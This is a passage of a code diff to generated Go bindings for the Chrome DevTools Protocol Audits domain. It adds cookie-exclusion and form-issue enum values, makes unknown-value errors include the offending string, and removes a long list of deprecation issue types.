CookieExclusionReasonExcludeSameSiteStrict CookieExclusionReason = "ExcludeSameSiteStrict"
|
||||
CookieExclusionReasonExcludeInvalidSameParty CookieExclusionReason = "ExcludeInvalidSameParty"
|
||||
CookieExclusionReasonExcludeSamePartyCrossPartyContext CookieExclusionReason = "ExcludeSamePartyCrossPartyContext"
|
||||
CookieExclusionReasonExcludeDomainNonASCII CookieExclusionReason = "ExcludeDomainNonASCII"
|
||||
CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet CookieExclusionReason = "ExcludeThirdPartyCookieBlockedInFirstPartySet"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -72,7 +73,8 @@ func (t CookieExclusionReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CookieExclusionReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CookieExclusionReason(in.String()) {
|
||||
v := in.String()
|
||||
switch CookieExclusionReason(v) {
|
||||
case CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax:
|
||||
*t = CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax
|
||||
case CookieExclusionReasonExcludeSameSiteNoneInsecure:
|
||||
@@ -87,9 +89,11 @@ func (t *CookieExclusionReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CookieExclusionReasonExcludeSamePartyCrossPartyContext
|
||||
case CookieExclusionReasonExcludeDomainNonASCII:
|
||||
*t = CookieExclusionReasonExcludeDomainNonASCII
|
||||
case CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet:
|
||||
*t = CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CookieExclusionReason value"))
|
||||
in.AddError(fmt.Errorf("unknown CookieExclusionReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -134,7 +138,8 @@ func (t CookieWarningReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CookieWarningReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CookieWarningReason(in.String()) {
|
||||
v := in.String()
|
||||
switch CookieWarningReason(v) {
|
||||
case CookieWarningReasonWarnSameSiteUnspecifiedCrossSiteContext:
|
||||
*t = CookieWarningReasonWarnSameSiteUnspecifiedCrossSiteContext
|
||||
case CookieWarningReasonWarnSameSiteNoneInsecure:
|
||||
@@ -157,7 +162,7 @@ func (t *CookieWarningReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CookieWarningReasonWarnDomainNonASCII
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CookieWarningReason value"))
|
||||
in.AddError(fmt.Errorf("unknown CookieWarningReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -194,14 +199,15 @@ func (t CookieOperation) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CookieOperation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CookieOperation(in.String()) {
|
||||
v := in.String()
|
||||
switch CookieOperation(v) {
|
||||
case CookieOperationSetCookie:
|
||||
*t = CookieOperationSetCookie
|
||||
case CookieOperationReadCookie:
|
||||
*t = CookieOperationReadCookie
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CookieOperation value"))
|
||||
in.AddError(fmt.Errorf("unknown CookieOperation value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -255,7 +261,8 @@ func (t MixedContentResolutionStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *MixedContentResolutionStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch MixedContentResolutionStatus(in.String()) {
|
||||
v := in.String()
|
||||
switch MixedContentResolutionStatus(v) {
|
||||
case MixedContentResolutionStatusMixedContentBlocked:
|
||||
*t = MixedContentResolutionStatusMixedContentBlocked
|
||||
case MixedContentResolutionStatusMixedContentAutomaticallyUpgraded:
|
||||
@@ -264,7 +271,7 @@ func (t *MixedContentResolutionStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = MixedContentResolutionStatusMixedContentWarning
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown MixedContentResolutionStatus value"))
|
||||
in.AddError(fmt.Errorf("unknown MixedContentResolutionStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -326,7 +333,8 @@ func (t MixedContentResourceType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *MixedContentResourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch MixedContentResourceType(in.String()) {
|
||||
v := in.String()
|
||||
switch MixedContentResourceType(v) {
|
||||
case MixedContentResourceTypeAttributionSrc:
|
||||
*t = MixedContentResourceTypeAttributionSrc
|
||||
case MixedContentResourceTypeAudio:
|
||||
@@ -383,7 +391,7 @@ func (t *MixedContentResourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = MixedContentResourceTypeXSLT
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown MixedContentResourceType value"))
|
||||
in.AddError(fmt.Errorf("unknown MixedContentResourceType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -436,7 +444,8 @@ func (t BlockedByResponseReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *BlockedByResponseReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch BlockedByResponseReason(in.String()) {
|
||||
v := in.String()
|
||||
switch BlockedByResponseReason(v) {
|
||||
case BlockedByResponseReasonCoepFrameResourceNeedsCoepHeader:
|
||||
*t = BlockedByResponseReasonCoepFrameResourceNeedsCoepHeader
|
||||
case BlockedByResponseReasonCoopSandboxedIFrameCannotNavigateToCoopPage:
|
||||
@@ -449,7 +458,7 @@ func (t *BlockedByResponseReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = BlockedByResponseReasonCorpNotSameSite
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown BlockedByResponseReason value"))
|
||||
in.AddError(fmt.Errorf("unknown BlockedByResponseReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -498,14 +507,15 @@ func (t HeavyAdResolutionStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *HeavyAdResolutionStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch HeavyAdResolutionStatus(in.String()) {
|
||||
v := in.String()
|
||||
switch HeavyAdResolutionStatus(v) {
|
||||
case HeavyAdResolutionStatusHeavyAdBlocked:
|
||||
*t = HeavyAdResolutionStatusHeavyAdBlocked
|
||||
case HeavyAdResolutionStatusHeavyAdWarning:
|
||||
*t = HeavyAdResolutionStatusHeavyAdWarning
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown HeavyAdResolutionStatus value"))
|
||||
in.AddError(fmt.Errorf("unknown HeavyAdResolutionStatus value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -543,7 +553,8 @@ func (t HeavyAdReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *HeavyAdReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch HeavyAdReason(in.String()) {
|
||||
v := in.String()
|
||||
switch HeavyAdReason(v) {
|
||||
case HeavyAdReasonNetworkTotalLimit:
|
||||
*t = HeavyAdReasonNetworkTotalLimit
|
||||
case HeavyAdReasonCPUTotalLimit:
|
||||
@@ -552,7 +563,7 @@ func (t *HeavyAdReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = HeavyAdReasonCPUPeakLimit
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown HeavyAdReason value"))
|
||||
in.AddError(fmt.Errorf("unknown HeavyAdReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -602,7 +613,8 @@ func (t ContentSecurityPolicyViolationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ContentSecurityPolicyViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ContentSecurityPolicyViolationType(in.String()) {
|
||||
v := in.String()
|
||||
switch ContentSecurityPolicyViolationType(v) {
|
||||
case ContentSecurityPolicyViolationTypeKInlineViolation:
|
||||
*t = ContentSecurityPolicyViolationTypeKInlineViolation
|
||||
case ContentSecurityPolicyViolationTypeKEvalViolation:
|
||||
@@ -617,7 +629,7 @@ func (t *ContentSecurityPolicyViolationType) UnmarshalEasyJSON(in *jlexer.Lexer)
|
||||
*t = ContentSecurityPolicyViolationTypeKWasmEvalViolation
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ContentSecurityPolicyViolationType value"))
|
||||
in.AddError(fmt.Errorf("unknown ContentSecurityPolicyViolationType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -677,14 +689,15 @@ func (t SharedArrayBufferIssueType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SharedArrayBufferIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SharedArrayBufferIssueType(in.String()) {
|
||||
v := in.String()
|
||||
switch SharedArrayBufferIssueType(v) {
|
||||
case SharedArrayBufferIssueTypeTransferIssue:
|
||||
*t = SharedArrayBufferIssueTypeTransferIssue
|
||||
case SharedArrayBufferIssueTypeCreationIssue:
|
||||
*t = SharedArrayBufferIssueTypeCreationIssue
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SharedArrayBufferIssueType value"))
|
||||
in.AddError(fmt.Errorf("unknown SharedArrayBufferIssueType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -733,7 +746,8 @@ func (t TwaQualityEnforcementViolationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *TwaQualityEnforcementViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch TwaQualityEnforcementViolationType(in.String()) {
|
||||
v := in.String()
|
||||
switch TwaQualityEnforcementViolationType(v) {
|
||||
case TwaQualityEnforcementViolationTypeKHTTPError:
|
||||
*t = TwaQualityEnforcementViolationTypeKHTTPError
|
||||
case TwaQualityEnforcementViolationTypeKUnavailableOffline:
|
||||
@@ -742,7 +756,7 @@ func (t *TwaQualityEnforcementViolationType) UnmarshalEasyJSON(in *jlexer.Lexer)
|
||||
*t = TwaQualityEnforcementViolationTypeKDigitalAssetLinks
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown TwaQualityEnforcementViolationType value"))
|
||||
in.AddError(fmt.Errorf("unknown TwaQualityEnforcementViolationType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -826,7 +840,8 @@ func (t AttributionReportingIssueType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch AttributionReportingIssueType(in.String()) {
|
||||
v := in.String()
|
||||
switch AttributionReportingIssueType(v) {
|
||||
case AttributionReportingIssueTypePermissionPolicyDisabled:
|
||||
*t = AttributionReportingIssueTypePermissionPolicyDisabled
|
||||
case AttributionReportingIssueTypePermissionPolicyNotDelegated:
|
||||
@@ -851,7 +866,7 @@ func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = AttributionReportingIssueTypeTriggerIgnored
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown AttributionReportingIssueType value"))
|
||||
in.AddError(fmt.Errorf("unknown AttributionReportingIssueType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -904,7 +919,16 @@ func (t GenericIssueErrorType) String() string {
|
||||
|
||||
// GenericIssueErrorType values.
|
||||
const (
|
||||
GenericIssueErrorTypeCrossOriginPortalPostMessageError GenericIssueErrorType = "CrossOriginPortalPostMessageError"
|
||||
GenericIssueErrorTypeCrossOriginPortalPostMessageError GenericIssueErrorType = "CrossOriginPortalPostMessageError"
|
||||
GenericIssueErrorTypeFormLabelForNameError GenericIssueErrorType = "FormLabelForNameError"
|
||||
GenericIssueErrorTypeFormDuplicateIDForInputError GenericIssueErrorType = "FormDuplicateIdForInputError"
|
||||
GenericIssueErrorTypeFormInputWithNoLabelError GenericIssueErrorType = "FormInputWithNoLabelError"
|
||||
GenericIssueErrorTypeFormAutocompleteAttributeEmptyError GenericIssueErrorType = "FormAutocompleteAttributeEmptyError"
|
||||
GenericIssueErrorTypeFormEmptyIDAndNameAttributesForInputError GenericIssueErrorType = "FormEmptyIdAndNameAttributesForInputError"
|
||||
GenericIssueErrorTypeFormAriaLabelledByToNonExistingID GenericIssueErrorType = "FormAriaLabelledByToNonExistingId"
|
||||
GenericIssueErrorTypeFormInputAssignedAutocompleteValueToIDOrNameAttributeError GenericIssueErrorType = "FormInputAssignedAutocompleteValueToIdOrNameAttributeError"
|
||||
GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput GenericIssueErrorType = "FormLabelHasNeitherForNorNestedInput"
|
||||
GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError GenericIssueErrorType = "FormLabelForMatchesNonExistingIdError"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -919,12 +943,31 @@ func (t GenericIssueErrorType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *GenericIssueErrorType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch GenericIssueErrorType(in.String()) {
|
||||
v := in.String()
|
||||
switch GenericIssueErrorType(v) {
|
||||
case GenericIssueErrorTypeCrossOriginPortalPostMessageError:
|
||||
*t = GenericIssueErrorTypeCrossOriginPortalPostMessageError
|
||||
case GenericIssueErrorTypeFormLabelForNameError:
|
||||
*t = GenericIssueErrorTypeFormLabelForNameError
|
||||
case GenericIssueErrorTypeFormDuplicateIDForInputError:
|
||||
*t = GenericIssueErrorTypeFormDuplicateIDForInputError
|
||||
case GenericIssueErrorTypeFormInputWithNoLabelError:
|
||||
*t = GenericIssueErrorTypeFormInputWithNoLabelError
|
||||
case GenericIssueErrorTypeFormAutocompleteAttributeEmptyError:
|
||||
*t = GenericIssueErrorTypeFormAutocompleteAttributeEmptyError
|
||||
case GenericIssueErrorTypeFormEmptyIDAndNameAttributesForInputError:
|
||||
*t = GenericIssueErrorTypeFormEmptyIDAndNameAttributesForInputError
|
||||
case GenericIssueErrorTypeFormAriaLabelledByToNonExistingID:
|
||||
*t = GenericIssueErrorTypeFormAriaLabelledByToNonExistingID
|
||||
case GenericIssueErrorTypeFormInputAssignedAutocompleteValueToIDOrNameAttributeError:
|
||||
*t = GenericIssueErrorTypeFormInputAssignedAutocompleteValueToIDOrNameAttributeError
|
||||
case GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput:
|
||||
*t = GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput
|
||||
case GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError:
|
||||
*t = GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown GenericIssueErrorType value"))
|
||||
in.AddError(fmt.Errorf("unknown GenericIssueErrorType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -938,211 +981,9 @@ func (t *GenericIssueErrorType) UnmarshalJSON(buf []byte) error {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-GenericIssueDetails
|
||||
type GenericIssueDetails struct {
|
||||
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"`
|
||||
}
|
||||
|
||||
// DeprecationIssueType [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-DeprecationIssueType
|
||||
type DeprecationIssueType string
|
||||
|
||||
// String returns the DeprecationIssueType as string value.
|
||||
func (t DeprecationIssueType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// DeprecationIssueType values.
|
||||
const (
|
||||
DeprecationIssueTypeAuthorizationCoveredByWildcard DeprecationIssueType = "AuthorizationCoveredByWildcard"
|
||||
DeprecationIssueTypeCanRequestURLHTTPContainingNewline DeprecationIssueType = "CanRequestURLHTTPContainingNewline"
|
||||
DeprecationIssueTypeChromeLoadTimesConnectionInfo DeprecationIssueType = "ChromeLoadTimesConnectionInfo"
|
||||
DeprecationIssueTypeChromeLoadTimesFirstPaintAfterLoadTime DeprecationIssueType = "ChromeLoadTimesFirstPaintAfterLoadTime"
|
||||
DeprecationIssueTypeChromeLoadTimesWasAlternateProtocolAvailable DeprecationIssueType = "ChromeLoadTimesWasAlternateProtocolAvailable"
|
||||
DeprecationIssueTypeCookieWithTruncatingChar DeprecationIssueType = "CookieWithTruncatingChar"
|
||||
DeprecationIssueTypeCrossOriginAccessBasedOnDocumentDomain DeprecationIssueType = "CrossOriginAccessBasedOnDocumentDomain"
|
||||
DeprecationIssueTypeCrossOriginWindowAlert DeprecationIssueType = "CrossOriginWindowAlert"
|
||||
DeprecationIssueTypeCrossOriginWindowConfirm DeprecationIssueType = "CrossOriginWindowConfirm"
|
||||
DeprecationIssueTypeCSSSelectorInternalMediaControlsOverlayCastButton DeprecationIssueType = "CSSSelectorInternalMediaControlsOverlayCastButton"
|
||||
DeprecationIssueTypeDeprecationExample DeprecationIssueType = "DeprecationExample"
|
||||
DeprecationIssueTypeDocumentDomainSettingWithoutOriginAgentClusterHeader DeprecationIssueType = "DocumentDomainSettingWithoutOriginAgentClusterHeader"
|
||||
DeprecationIssueTypeEventPath DeprecationIssueType = "EventPath"
|
||||
DeprecationIssueTypeExpectCTHeader DeprecationIssueType = "ExpectCTHeader"
|
||||
DeprecationIssueTypeGeolocationInsecureOrigin DeprecationIssueType = "GeolocationInsecureOrigin"
|
||||
DeprecationIssueTypeGeolocationInsecureOriginDeprecatedNotRemoved DeprecationIssueType = "GeolocationInsecureOriginDeprecatedNotRemoved"
|
||||
DeprecationIssueTypeGetUserMediaInsecureOrigin DeprecationIssueType = "GetUserMediaInsecureOrigin"
|
||||
DeprecationIssueTypeHostCandidateAttributeGetter DeprecationIssueType = "HostCandidateAttributeGetter"
|
||||
DeprecationIssueTypeIdentityInCanMakePaymentEvent DeprecationIssueType = "IdentityInCanMakePaymentEvent"
|
||||
DeprecationIssueTypeInsecurePrivateNetworkSubresourceRequest DeprecationIssueType = "InsecurePrivateNetworkSubresourceRequest"
|
||||
DeprecationIssueTypeLocalCSSFileExtensionRejected DeprecationIssueType = "LocalCSSFileExtensionRejected"
|
||||
DeprecationIssueTypeMediaSourceAbortRemove DeprecationIssueType = "MediaSourceAbortRemove"
|
||||
DeprecationIssueTypeMediaSourceDurationTruncatingBuffered DeprecationIssueType = "MediaSourceDurationTruncatingBuffered"
|
||||
DeprecationIssueTypeNavigateEventRestoreScroll DeprecationIssueType = "NavigateEventRestoreScroll"
|
||||
DeprecationIssueTypeNavigateEventTransitionWhile DeprecationIssueType = "NavigateEventTransitionWhile"
|
||||
DeprecationIssueTypeNoSysexWebMIDIWithoutPermission DeprecationIssueType = "NoSysexWebMIDIWithoutPermission"
|
||||
DeprecationIssueTypeNotificationInsecureOrigin DeprecationIssueType = "NotificationInsecureOrigin"
|
||||
DeprecationIssueTypeNotificationPermissionRequestedIframe DeprecationIssueType = "NotificationPermissionRequestedIframe"
|
||||
DeprecationIssueTypeObsoleteWebRtcCipherSuite DeprecationIssueType = "ObsoleteWebRtcCipherSuite"
|
||||
DeprecationIssueTypeOpenWebDatabaseInsecureContext DeprecationIssueType = "OpenWebDatabaseInsecureContext"
|
||||
DeprecationIssueTypeOverflowVisibleOnReplacedElement DeprecationIssueType = "OverflowVisibleOnReplacedElement"
|
||||
DeprecationIssueTypePersistentQuotaType DeprecationIssueType = "PersistentQuotaType"
|
||||
DeprecationIssueTypePictureSourceSrc DeprecationIssueType = "PictureSourceSrc"
|
||||
DeprecationIssueTypePrefixedCancelAnimationFrame DeprecationIssueType = "PrefixedCancelAnimationFrame"
|
||||
DeprecationIssueTypePrefixedRequestAnimationFrame DeprecationIssueType = "PrefixedRequestAnimationFrame"
|
||||
DeprecationIssueTypePrefixedStorageInfo DeprecationIssueType = "PrefixedStorageInfo"
|
||||
DeprecationIssueTypePrefixedVideoDisplayingFullscreen DeprecationIssueType = "PrefixedVideoDisplayingFullscreen"
|
||||
DeprecationIssueTypePrefixedVideoEnterFullscreen DeprecationIssueType = "PrefixedVideoEnterFullscreen"
|
||||
DeprecationIssueTypePrefixedVideoEnterFullScreen DeprecationIssueType = "PrefixedVideoEnterFullScreen"
|
||||
DeprecationIssueTypePrefixedVideoExitFullscreen DeprecationIssueType = "PrefixedVideoExitFullscreen"
|
||||
DeprecationIssueTypePrefixedVideoExitFullScreen DeprecationIssueType = "PrefixedVideoExitFullScreen"
|
||||
DeprecationIssueTypePrefixedVideoSupportsFullscreen DeprecationIssueType = "PrefixedVideoSupportsFullscreen"
|
||||
DeprecationIssueTypeRangeExpand DeprecationIssueType = "RangeExpand"
|
||||
DeprecationIssueTypeRequestedSubresourceWithEmbeddedCredentials DeprecationIssueType = "RequestedSubresourceWithEmbeddedCredentials"
|
||||
DeprecationIssueTypeRTCConstraintEnableDtlsSrtpFalse DeprecationIssueType = "RTCConstraintEnableDtlsSrtpFalse"
|
||||
DeprecationIssueTypeRTCConstraintEnableDtlsSrtpTrue DeprecationIssueType = "RTCConstraintEnableDtlsSrtpTrue"
|
||||
DeprecationIssueTypeRTCPeerConnectionComplexPlanBSdpUsingDefaultSdpSemantics DeprecationIssueType = "RTCPeerConnectionComplexPlanBSdpUsingDefaultSdpSemantics"
|
||||
DeprecationIssueTypeRTCPeerConnectionSdpSemanticsPlanB DeprecationIssueType = "RTCPeerConnectionSdpSemanticsPlanB"
|
||||
DeprecationIssueTypeRtcpMuxPolicyNegotiate DeprecationIssueType = "RtcpMuxPolicyNegotiate"
|
||||
DeprecationIssueTypeSharedArrayBufferConstructedWithoutIsolation DeprecationIssueType = "SharedArrayBufferConstructedWithoutIsolation"
|
||||
DeprecationIssueTypeTextToSpeechDisallowedByAutoplay DeprecationIssueType = "TextToSpeech_DisallowedByAutoplay"
|
||||
DeprecationIssueTypeV8sharedArrayBufferConstructedInExtensionWithoutIsolation DeprecationIssueType = "V8SharedArrayBufferConstructedInExtensionWithoutIsolation"
|
||||
DeprecationIssueTypeXHRJSONEncodingDetection DeprecationIssueType = "XHRJSONEncodingDetection"
|
||||
DeprecationIssueTypeXMLHTTPRequestSynchronousInNonWorkerOutsideBeforeUnload DeprecationIssueType = "XMLHttpRequestSynchronousInNonWorkerOutsideBeforeUnload"
|
||||
DeprecationIssueTypeXRSupportsSession DeprecationIssueType = "XRSupportsSession"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t DeprecationIssueType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t DeprecationIssueType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch DeprecationIssueType(in.String()) {
|
||||
case DeprecationIssueTypeAuthorizationCoveredByWildcard:
|
||||
*t = DeprecationIssueTypeAuthorizationCoveredByWildcard
|
||||
case DeprecationIssueTypeCanRequestURLHTTPContainingNewline:
|
||||
*t = DeprecationIssueTypeCanRequestURLHTTPContainingNewline
|
||||
case DeprecationIssueTypeChromeLoadTimesConnectionInfo:
|
||||
*t = DeprecationIssueTypeChromeLoadTimesConnectionInfo
|
||||
case DeprecationIssueTypeChromeLoadTimesFirstPaintAfterLoadTime:
|
||||
*t = DeprecationIssueTypeChromeLoadTimesFirstPaintAfterLoadTime
|
||||
case DeprecationIssueTypeChromeLoadTimesWasAlternateProtocolAvailable:
|
||||
*t = DeprecationIssueTypeChromeLoadTimesWasAlternateProtocolAvailable
|
||||
case DeprecationIssueTypeCookieWithTruncatingChar:
|
||||
*t = DeprecationIssueTypeCookieWithTruncatingChar
|
||||
case DeprecationIssueTypeCrossOriginAccessBasedOnDocumentDomain:
|
||||
*t = DeprecationIssueTypeCrossOriginAccessBasedOnDocumentDomain
|
||||
case DeprecationIssueTypeCrossOriginWindowAlert:
|
||||
*t = DeprecationIssueTypeCrossOriginWindowAlert
|
||||
case DeprecationIssueTypeCrossOriginWindowConfirm:
|
||||
*t = DeprecationIssueTypeCrossOriginWindowConfirm
|
||||
case DeprecationIssueTypeCSSSelectorInternalMediaControlsOverlayCastButton:
|
||||
*t = DeprecationIssueTypeCSSSelectorInternalMediaControlsOverlayCastButton
|
||||
case DeprecationIssueTypeDeprecationExample:
|
||||
*t = DeprecationIssueTypeDeprecationExample
|
||||
case DeprecationIssueTypeDocumentDomainSettingWithoutOriginAgentClusterHeader:
|
||||
*t = DeprecationIssueTypeDocumentDomainSettingWithoutOriginAgentClusterHeader
|
||||
case DeprecationIssueTypeEventPath:
|
||||
*t = DeprecationIssueTypeEventPath
|
||||
case DeprecationIssueTypeExpectCTHeader:
|
||||
*t = DeprecationIssueTypeExpectCTHeader
|
||||
case DeprecationIssueTypeGeolocationInsecureOrigin:
|
||||
*t = DeprecationIssueTypeGeolocationInsecureOrigin
|
||||
case DeprecationIssueTypeGeolocationInsecureOriginDeprecatedNotRemoved:
|
||||
*t = DeprecationIssueTypeGeolocationInsecureOriginDeprecatedNotRemoved
|
||||
case DeprecationIssueTypeGetUserMediaInsecureOrigin:
|
||||
*t = DeprecationIssueTypeGetUserMediaInsecureOrigin
|
||||
case DeprecationIssueTypeHostCandidateAttributeGetter:
|
||||
*t = DeprecationIssueTypeHostCandidateAttributeGetter
|
||||
case DeprecationIssueTypeIdentityInCanMakePaymentEvent:
|
||||
*t = DeprecationIssueTypeIdentityInCanMakePaymentEvent
|
||||
case DeprecationIssueTypeInsecurePrivateNetworkSubresourceRequest:
|
||||
*t = DeprecationIssueTypeInsecurePrivateNetworkSubresourceRequest
|
||||
case DeprecationIssueTypeLocalCSSFileExtensionRejected:
|
||||
*t = DeprecationIssueTypeLocalCSSFileExtensionRejected
|
||||
case DeprecationIssueTypeMediaSourceAbortRemove:
|
||||
*t = DeprecationIssueTypeMediaSourceAbortRemove
|
||||
case DeprecationIssueTypeMediaSourceDurationTruncatingBuffered:
|
||||
*t = DeprecationIssueTypeMediaSourceDurationTruncatingBuffered
|
||||
case DeprecationIssueTypeNavigateEventRestoreScroll:
|
||||
*t = DeprecationIssueTypeNavigateEventRestoreScroll
|
||||
case DeprecationIssueTypeNavigateEventTransitionWhile:
|
||||
*t = DeprecationIssueTypeNavigateEventTransitionWhile
|
||||
case DeprecationIssueTypeNoSysexWebMIDIWithoutPermission:
|
||||
*t = DeprecationIssueTypeNoSysexWebMIDIWithoutPermission
|
||||
case DeprecationIssueTypeNotificationInsecureOrigin:
|
||||
*t = DeprecationIssueTypeNotificationInsecureOrigin
|
||||
case DeprecationIssueTypeNotificationPermissionRequestedIframe:
|
||||
*t = DeprecationIssueTypeNotificationPermissionRequestedIframe
|
||||
case DeprecationIssueTypeObsoleteWebRtcCipherSuite:
|
||||
*t = DeprecationIssueTypeObsoleteWebRtcCipherSuite
|
||||
case DeprecationIssueTypeOpenWebDatabaseInsecureContext:
|
||||
*t = DeprecationIssueTypeOpenWebDatabaseInsecureContext
|
||||
case DeprecationIssueTypeOverflowVisibleOnReplacedElement:
|
||||
*t = DeprecationIssueTypeOverflowVisibleOnReplacedElement
|
||||
case DeprecationIssueTypePersistentQuotaType:
|
||||
*t = DeprecationIssueTypePersistentQuotaType
|
||||
case DeprecationIssueTypePictureSourceSrc:
|
||||
*t = DeprecationIssueTypePictureSourceSrc
|
||||
case DeprecationIssueTypePrefixedCancelAnimationFrame:
|
||||
*t = DeprecationIssueTypePrefixedCancelAnimationFrame
|
||||
case DeprecationIssueTypePrefixedRequestAnimationFrame:
|
||||
*t = DeprecationIssueTypePrefixedRequestAnimationFrame
|
||||
case DeprecationIssueTypePrefixedStorageInfo:
|
||||
*t = DeprecationIssueTypePrefixedStorageInfo
|
||||
case DeprecationIssueTypePrefixedVideoDisplayingFullscreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoDisplayingFullscreen
|
||||
case DeprecationIssueTypePrefixedVideoEnterFullscreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoEnterFullscreen
|
||||
case DeprecationIssueTypePrefixedVideoEnterFullScreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoEnterFullScreen
|
||||
